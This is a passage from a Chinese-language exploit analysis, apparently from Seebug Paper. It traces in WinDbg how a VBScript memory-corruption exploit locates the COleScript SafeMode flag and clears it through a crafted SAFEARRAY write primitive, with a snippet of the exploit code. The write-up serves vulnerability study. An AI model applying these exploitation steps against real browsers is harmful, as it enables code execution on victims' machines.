02e678f8  03 00 00 00 00 00 00 00-24 87 df 01 01 00 a0 41  ........$......A
0:005> g
Breakpoint 1 hit
eax=01df84e0 ebx=0249cc70 ecx=0249cc70 edx=00000002 esi=01e00910 edi=00000010
eip=6fb02e64 esp=0249cb1c ebp=0249cc18 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
vbscript!AssignVar:
6fb02e64 8bff            mov     edi,edi
0:005> g
Breakpoint 2 hit
eax=0249cb2c ebx=0249cc70 ecx=0249cc70 edx=0000400c esi=00000001 edi=01e00900
eip=6fb11f4c esp=0249cb00 ebp=0249cb18 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!AccessArray:
6fb11f4c 8bff            mov     edi,edi
0:005> db 02e678e8 L20
02e678e8  ef 6a d2 68 6c 4b 02 08-05 00 00 00 00 00 00 00  .j.hlK..........
02e678f8  08 00 00 00 08 00 00 00-24 87 df 01 01 00 a0 41  ........$......A
0:005> g
Breakpoint 1 hit
eax=01df84f0 ebx=0249cc70 ecx=0249cc70 edx=00000000 esi=0249cbf8 edi=01df84f0
eip=6fb02e64 esp=0249cb1c ebp=0249cc18 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
vbscript!AssignVar:
6fb02e64 8bff            mov     edi,edi
0:005> dd esp L4
0249cb1c  6fb0cb42 0013ebf0 01df84f0 01df84e0
0:005> dd 01df84e0 L4
01df84e0  00000003 00000000 01df8648 00000000
0:005> dd 01df8724-8-4 L8
01df8718  6fb04934 00000001 01df8648 01e007f8
01df8728  01e028bc 00000000 01df8648 0013ebf0

3 修改SafeMode

最后我們再來看下exploit如何借助Write primitive對SafeMode標志進行修改。由前面的分析可知此標志是vbscript!COleScript對象指針特定偏移處的一個值,而vbscript!COleScript對象指針又可以通過vbscript!CScriptEntryPoint對象指針得到,因此SafeMode標志的查找過程如下:

0:005> ln poi(01df8718)
(6fb04934)   vbscript!CScriptEntryPoint::`vftable'   |  (6fb1ab54)   vbscript!CEntryPointDispatch::`vftable'
Exact matches:
    vbscript!CScriptEntryPoint::`vftable' = <no type information>
0:005> dd 01df8718+8 L1
01df8720  01df8648
0:005> dd 01df8648+10 L1
01df8658  01df75f0
0:005> ln poi(01df75f0)
(6fb04868)   vbscript!COleScript::`vftable'   |  (6fb1fdbc)   vbscript!`string'
Exact matches:
    vbscript!COleScript::`vftable' = <no type information>
0:005> dd 01df75f0+174 L4
01df7764  0000000e 00000000 00000000 00000000

當找到此標志所在內存地址后,接下去就是對其進行修改,相關代碼如下:

if (j=14) then
  redim Preserve aa(a2)
  aa(a1+2)(i+&h11c+k)=ab(4)  'write primitive'
  redim Preserve aa(a0)
  exit for
end if

我們來跟下這個過程:

0:005> bl
 0 e 7664ec2c     0001 (0001)  0:**** OLEAUT32!SafeArrayRedim ".if(poi(poi(02e67900)-4)=0x0e){}.else{gc}"
 1 d 6fb02e64     0001 (0001)  0:**** vbscript!AssignVar
 2 d 6fb11f4c     0001 (0001)  0:**** vbscript!AccessArray
0:005> g
eax=0249cb14 ebx=004692e8 ecx=00000000 edx=00000060 esi=01df84e0 edi=01e00900
eip=7664ec2c esp=0249cb00 ebp=0249cb1c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
OLEAUT32!SafeArrayRedim:
7664ec2c 8bff            mov     edi,edi
0:005> db 02e678e8 L20
02e678e8  ef 6a d2 68 6c 4b 02 08-02 00 00 00 00 00 00 00  .j.hlK..........
02e678f8  00 00 00 00 00 00 00 00-68 77 df 01 01 00 a0 41  ........hw.....A
0:005> bp OLEAUT32!SafeArrayRedim
breakpoint 0 redefined
0:005> g
Breakpoint 0 hit
eax=0249cd58 ebx=004692e8 ecx=00000000 edx=00000078 esi=01df8510 edi=01e00900
eip=7664ec2c esp=0249cd44 ebp=0249cd60 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
OLEAUT32!SafeArrayRedim:
7664ec2c 8bff            mov     edi,edi
0:005> be *
0:005> g
Breakpoint 2 hit
eax=0249cd70 ebx=0249ceb4 ecx=0249ceb4 edx=0000400c esi=00000001 edi=01e00910
eip=6fb11f4c esp=0249cd44 ebp=0249cd5c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!AccessArray:
6fb11f4c 8bff            mov     edi,edi
0:005> dd esp L8
0249cd44  6fb12028 0249ce54 0013f274 00000001
0249cd54  01df8510 0249cd70 0249ce5c 6fb0dc01
0:005> gu
eax=00000000 ebx=0249ceb4 ecx=0249ce54 edx=00000002 esi=00000001 edi=01e00910
eip=6fb12028 esp=0249cd5c ebp=0249cd5c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!CScriptRuntime::LockArray+0x1a:
6fb12028 85c0            test    eax,eax
0:005> dd poi(0249ce54) L4
02e67930  00000000 00000000 00000000 00000000
0:005> dt ole32!tagSAFEARRAY poi(0249cd70)
   +0x000 cDims            : 1
   +0x002 fFeatures        : 0x880
   +0x004 cbElements       : 0x10
   +0x008 cLocks           : 0
   +0x00c pvData           : 0x02e678f0 Void
   +0x010 rgsabound        : [1] tagSAFEARRAYBOUND
0:005> g
Breakpoint 2 hit
eax=0249cd70 ebx=0249ceb4 ecx=0249ceb4 edx=0000400c esi=00000001 edi=01e00900
eip=6fb11f4c esp=0249cd44 ebp=0249cd5c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!AccessArray:
6fb11f4c 8bff            mov     edi,edi
0:005> dd esp L8
0249cd44  6fb12028 0249ce54 0013f23c 00000001
0249cd54  01df8500 0249cd70 0249ce5c 6fb0dc01
0:005> gu
eax=00000000 ebx=0249ceb4 ecx=0249ce54 edx=00000060 esi=00000001 edi=01e00900
eip=6fb12028 esp=0249cd5c ebp=0249cd5c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!CScriptRuntime::LockArray+0x1a:
6fb12028 85c0            test    eax,eax
0:005> dd poi(0249ce54) L4
02e67918  0000200c 0000200c 00405014 0249cc18
0:005> dt ole32!tagSAFEARRAY poi(0249cd70)
   +0x000 cDims            : 1
   +0x002 fFeatures        : 0x880
   +0x004 cbElements       : 0x10
   +0x008 cLocks           : 0
   +0x00c pvData           : 0x02e66ec8 Void
   +0x010 rgsabound        : [1] tagSAFEARRAYBOUND
0:005> g
Breakpoint 2 hit
eax=0249ce54 ebx=0249ceb4 ecx=01df8500 edx=0000400c esi=00000001 edi=00000010
eip=6fb11f4c esp=0249cd5c ebp=0249ce5c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!AccessArray:
6fb11f4c 8bff            mov     edi,edi
0:005> dd esp L8
0249cd5c  6fb0255c 0249ce54 01df8500 00000001
0249cd6c  01df84f0 00000000 0249d070 0249ceb4
0:005> dd 01df8500 L4
01df8500  0000400c 00000000 02e67918 00000000
0:005> dd 02e67918 L4
02e67918  0000200c 0000200c 00405014 0249cc18
0:005> dd 00405014 L6
00405014  08800001 00000001 00000000 00000000
00405024  7fff0000 00000000
0:005> dt ole32!tagSAFEARRAY 00405014
   +0x000 cDims            : 1
   +0x002 fFeatures        : 0x880
   +0x004 cbElements       : 1
   +0x008 cLocks           : 0
   +0x00c pvData           : (null) 
   +0x010 rgsabound        : [1] tagSAFEARRAYBOUND

可以看到,之前精心構造的SAFEARRAY結構在這里用到了,通過它可返回以索引值i+&h11c+k為起始地址的Variant結構變量,即pvData+(i+&h11c+k)*cbElements=i+&h11c+k,因此可實現Write primitive,這里該索引值為0x01df7760:

......
0:005> p
eax=01df7760 ebx=01df84f0 ecx=00000003 edx=00000003 esi=00405014 edi=00405024
eip=6fb11fe8 esp=0249cd3c ebp=0249cd58 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!AccessArray+0xd6:
6fb11fe8 8b4604          mov     eax,dword ptr [esi+4] ds:0023:00405018=00000001
0:005> 
eax=00000001 ebx=01df84f0 ecx=00000003 edx=00000003 esi=00405014 edi=00405024
eip=6fb11feb esp=0249cd3c ebp=0249cd58 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!AccessArray+0xd9:
6fb11feb 0faf450c        imul    eax,dword ptr [ebp+0Ch] ss:0023:0249cd64=01df7760
0:005> 
eax=01df7760 ebx=01df84f0 ecx=00000003 edx=00000003 esi=00405014 edi=00405024
eip=6fb11fef esp=0249cd3c ebp=0249cd58 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
vbscript!AccessArray+0xdd:
6fb11fef 03460c          add     eax,dword ptr [esi+0Ch] ds:0023:00405020=00000000
0:005> 
eax=01df7760 ebx=01df84f0 ecx=00000003 edx=00000003 esi=00405014 edi=00405024
eip=6fb11ff2 esp=0249cd3c ebp=0249cd58 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
vbscript!AccessArray+0xe0:
6fb11ff2 8b4d08          mov     ecx,dword ptr [ebp+8] ss:0023:0249cd60=0249ce54
0:005> 
eax=01df7760 ebx=01df84f0 ecx=0249ce54 edx=00000003 esi=00405014 edi=00405024
eip=6fb11ff5 esp=0249cd3c ebp=0249cd58 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
vbscript!AccessArray+0xe3:
6fb11ff5 8901            mov     dword ptr [ecx],eax  ds:0023:0249ce54=01df8500
......
0:005> dd poi(0249ce54) L4
01df7760  00000000 0000000e 00000000 00000000
0:005> db 02e678e8 L20
02e678e8  ef 6a d2 68 6c 4b 02 08-02 00 00 00 00 00 00 00  .j.hlK..........
02e678f8  00 00 00 00 00 00 00 00-68 77 df 01 01 00 a0 41  ........hw.....A

再接著就是將前面獲取的ab(4)賦給這個Variant結構變量:

0:005> g
Breakpoint 1 hit
eax=01df8510 ebx=0249ceb4 ecx=0249ceb4 edx=00000003 esi=00000001 edi=00000010
eip=6fb02e64 esp=0249cd60 ebp=0249ce5c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!AssignVar:
6fb02e64 8bff            mov     edi,edi
0:005> g
Breakpoint 0 hit
eax=0249cd58 ebx=004692e8 ecx=00000000 edx=00000060 esi=01df8510 edi=01e00900
eip=7664ec2c esp=0249cd44 ebp=0249cd60 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
OLEAUT32!SafeArrayRedim:
7664ec2c 8bff            mov     edi,edi
0:005> dd 01df7760 L4
01df7760  00000000 00000000 00000000 00000000

可以看到SafeMode標志被清零了,因此記事本也就能彈出來了。

0x05 參考


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.qqdpw.com/240/